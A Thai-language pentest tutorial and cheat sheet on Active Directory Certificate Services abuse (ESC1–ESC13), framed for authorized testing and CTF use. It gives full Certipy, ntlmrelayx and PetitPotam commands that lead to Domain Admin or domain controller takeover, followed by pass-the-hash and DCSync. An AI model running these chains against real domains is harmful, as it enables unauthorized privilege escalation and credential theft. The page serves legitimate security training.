คลัง
active-directory

ADCS Abuse (ESC1–ESC13)

Active Directory Certificate Services (ADCS) ที่ตั้งค่าผิดเปิดช่องให้ยกระดับสิทธิ์ถึง Domain Admin ผ่าน certificate template ที่อ่อนแอ (ESC1–ESC13) บทนี้สรุปแต่ละ ESC, การหาด้วย Certipy, และ attack chain หลัก (เนื้อหาเพื่อการทดสอบที่ได้รับอนุญาต/CTF)

Advanced#adcs#certificate#esc1#esc8#certipy#active-directory#privesc#ctf

1. ADCS และทำไมเป็นเป้า

ADCS คือ PKI ของ Windows domain ออก certificate ให้ user/computer ปัญหาคือ certificate template ที่ตั้งค่าผิดทำให้ user ทั่วไปขอ cert ที่ปลอมเป็นคนอื่น (เช่น Domain Admin) ได้ เมื่อได้ cert ของ DA แล้วใช้ authenticate (PKINIT) → ได้ TGT/hash ของ DA cert ไม่หมดอายุง่ายและ reset password ไม่ช่วย จึงเป็นทั้ง privesc และ persistence ที่ทรงพลัง

เนื้อหานี้เพื่อการทดสอบเจาะระบบที่ได้รับอนุญาต (engagement/lab/CTF) เท่านั้น

2. ESC1–ESC13 สรุป

ESCช่องโหว่แนวทาง abuse
ESC1template ยอมให้ระบุ SAN + client auth + user enroll ได้ขอ cert ระบุ SAN = DA → auth เป็น DA
ESC2template มี Any Purpose / SubCA EKUใช้ cert ทำอะไรก็ได้
ESC3Enrollment Agent templateขอ cert แทน user อื่น
ESC4เรามีสิทธิ์เขียน template (ACL)แก้ template ให้กลายเป็น ESC1
ESC5ACL อ่อนบน CA object/PKIควบคุม ADCS ผ่าน object
ESC6CA ตั้ง EDITF_ATTRIBUTESUBJECTALTNAME2ระบุ SAN ได้แม้ template ปกติ
ESC7เรามีสิทธิ์ ManageCA/ManageCertificatesอนุมัติ cert เอง / เปิด ESC6
ESC8Web Enrollment (HTTP) + NTLM relayrelay machine$ → ขอ cert → DC takeover
ESC9/10no security extension / weak mappingcert mapping อ่อน → ปลอมตัว
ESC11IF_ENFORCEENCRYPTICERTREQUEST ปิด (RPC relay)relay ผ่าน RPC
ESC13OID group link → สิทธิ์กลุ่มผูกกับ certได้ cert = ได้สิทธิ์กลุ่ม
ESC1 และ ESC8 พบบ่อยสุดในงานจริง/CTF — ESC1 (ระบุ SAN เป็น DA) และ ESC8 (relay machine account ผ่าน web enrollment ยึด DC)

3. หาด้วย Certipy

Certipy find
# หา template ที่เปราะทั้งหมด (ทำเครื่องหมาย ESC ให้)
certipy find -u user@domain -p 'pass' -dc-ip <DC> -vulnerable -stdout

# หรือ output เป็นไฟล์ (BloodHound import ได้)
certipy find -u user@domain -p 'pass' -dc-ip <DC> -vulnerable -old-bloodhound

# มองหา [!] Vulnerabilities: ESCx ในผล
certipy find -vulnerable ทำงานหนักให้ — list template + ระบุว่าเข้า ESC ไหน; เริ่มจากนี่เสมอ

4. ESC1 attack chain (พบบ่อยสุด)

ESC1 — ขอ cert ปลอมเป็น DA
# 1. ขอ cert จาก vulnerable template ระบุ SAN = Domain Admin
certipy req -u user@domain -p 'pass' -dc-ip <DC> \
  -ca <CA-NAME> -template <VULN-TEMPLATE> -upn administrator@domain
# ได้ administrator.pfx

# 2. ใช้ cert auth (PKINIT) → ได้ TGT + NT hash ของ administrator
certipy auth -pfx administrator.pfx -dc-ip <DC>
# ได้ hash → pass-the-hash / TGT → ยึดโดเมน

# ESC8 (web enrollment + relay) ย่อ:
#   ntlmrelayx -t http://<CA>/certsrv/certfnsh.asp --adcs --template DomainController
#   แล้ว coerce DC (PetitPotam) ให้ auth มา → ได้ cert ของ DC$
ESC1: req ระบุ -upn เป็น administrator → auth ได้ hash; ESC8: relay machine auth (PetitPotam/coerce) ไป web enrollment ยึด DC

5. Workflow

ADCS abuse — ลำดับ
certipy find -vulnerable
list template + ระบุ ESC
เจอ ESC ไหน?
ESC1req -upn admin → auth
ESC8relay + coerce DC
ESC4แก้ template → ESC1
ESC6/7ระบุ SAN / อนุมัติเอง
ขอ cert ปลอมเป็น DA/DC
certipy req
Domain Admin / DC takeover

6. Quick Reference

  • หา: certipy find -vulnerable -stdout
  • ESC1 (พบบ่อย): req ระบุ SAN/-upn = administrator → auth ได้ hash
  • ESC8: NTLM relay machine auth → web enrollment → ยึด DC
  • ใช้ cert: certipy auth -pfx x.pfx → TGT + NT hash
  • cert reset password ไม่ช่วย → persistence ที่ดี
  • ต่อ: pass-the-hash, golden ticket หลังได้ hash DA

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติ BloodHound/nmap ชี้ว่าโดเมนมี ADCS (Certificate Authority — พอร์ต 80/443 บนเครื่อง CA หรือ service ชื่อ CertSvc) มีแค่ Kali ทำตามนี้หาช่องโหว่ certificate template แล้วยกระดับสิทธิ์

  1. 1ติดตั้ง/ยืนยัน certipy: pipx install certipy-ad
  2. 2สแกนหา template ที่เปราะ: certipy find -u user@domain -p 'pass' -dc-ip <DC_IP> -vulnerable -stdout
  3. 3ดูผลลัพธ์ มองหาบรรทัด '[!] Vulnerabilities: ESCx'
  4. 4ถ้าเจอ ESC1: ขอ cert ปลอมเป็น Administrator certipy req -u user@domain -p 'pass' -dc-ip <DC_IP> -ca <CA-NAME> -template <TEMPLATE> -upn administrator@domain
  5. 5auth ด้วย cert ที่ได้: certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
  6. 6ได้ NT hash ของ administrator → pass-the-hash เข้า DC ทันที
  7. 7ถ้าเจอ ESC8 แทน: ตั้ง ntlmrelayx รอ แล้ว coerce DC มา auth ด้วย PetitPotam.py ผ่าน web enrollment
  8. 8ถ้าไม่เจอ ESC ไหนเลย (ตัน) → กลับไปหาสิทธิ์ ACL อื่น หรือดูให้แน่ใจว่ามี ADCS จริงไหม
หา ESC ที่ใช้ได้ → ขอ cert → auth
certipy find -vulnerable -stdout — เจอ ESC ไหม
✅ เจอ ESC1→ ขอ cert ระบุ -upn = administrator
✅ เจอ ESC8→ relay + coerce DC
❌ ไม่เจอ ESC เลย / ไม่มี ADCS→ กลับไปหาเทคนิคอื่น
certipy req -upn administrator@domain -template <TEMPLATE>
✅ ได้ .pfx→ certipy auth -pfx ... → ได้ hash
❌ enrollment ปฏิเสธ→ ลองดู ESC อื่น (ESC4/ESC6/ESC7)
ntlmrelayx --adcs --template DomainController + PetitPotam coerce DC
✅ relay สำเร็จ ได้ cert ของ DC$→ certipy auth ได้ hash DC → DCSync
❌ coerce ไม่โดน→ ลอง PrinterBug/DFSCoerce แทน
ไม่มีช่องทาง ADCS — ทำอะไรต่อ
มี ACL edge อื่นใน BloodHound→ ไปทำ ACL Abuse แทน
ไม่มีเลย→ กลับไปหา cred/มุมใหม่ทั้งหมด
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
หา ADCS/template เปราะ-pipx install certipy-ad-
ขอ/ใช้ certificate-certipy-ad (เดียวกัน)-
coerce ให้ DC มา auth-git clone PetitPotam / printerbug.py-
ทำ NTLM relayimpacket (ntlmrelayx.py)--
pass-the-hash หลังได้ hashimpacket (psexec.py)gem install evil-winrm-
อ้างอิง ESC1-13 เจาะลึก--thehacker.recipes, wadcoms.github.io
🚑 ถ้าตันสนิท ลองท่าถัดไป: ACL Abuse (ถ้าไม่มี ADCS เลย) · DCSync (หลังยึด DC$ ได้จาก ESC8) · Delegation Abuse (ถ้า coerce ได้แต่ target ไม่ใช่ unconstrained ลองมุมนี้แทน) · BloodHound (กลับไปหา path อื่นในกราฟ)

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้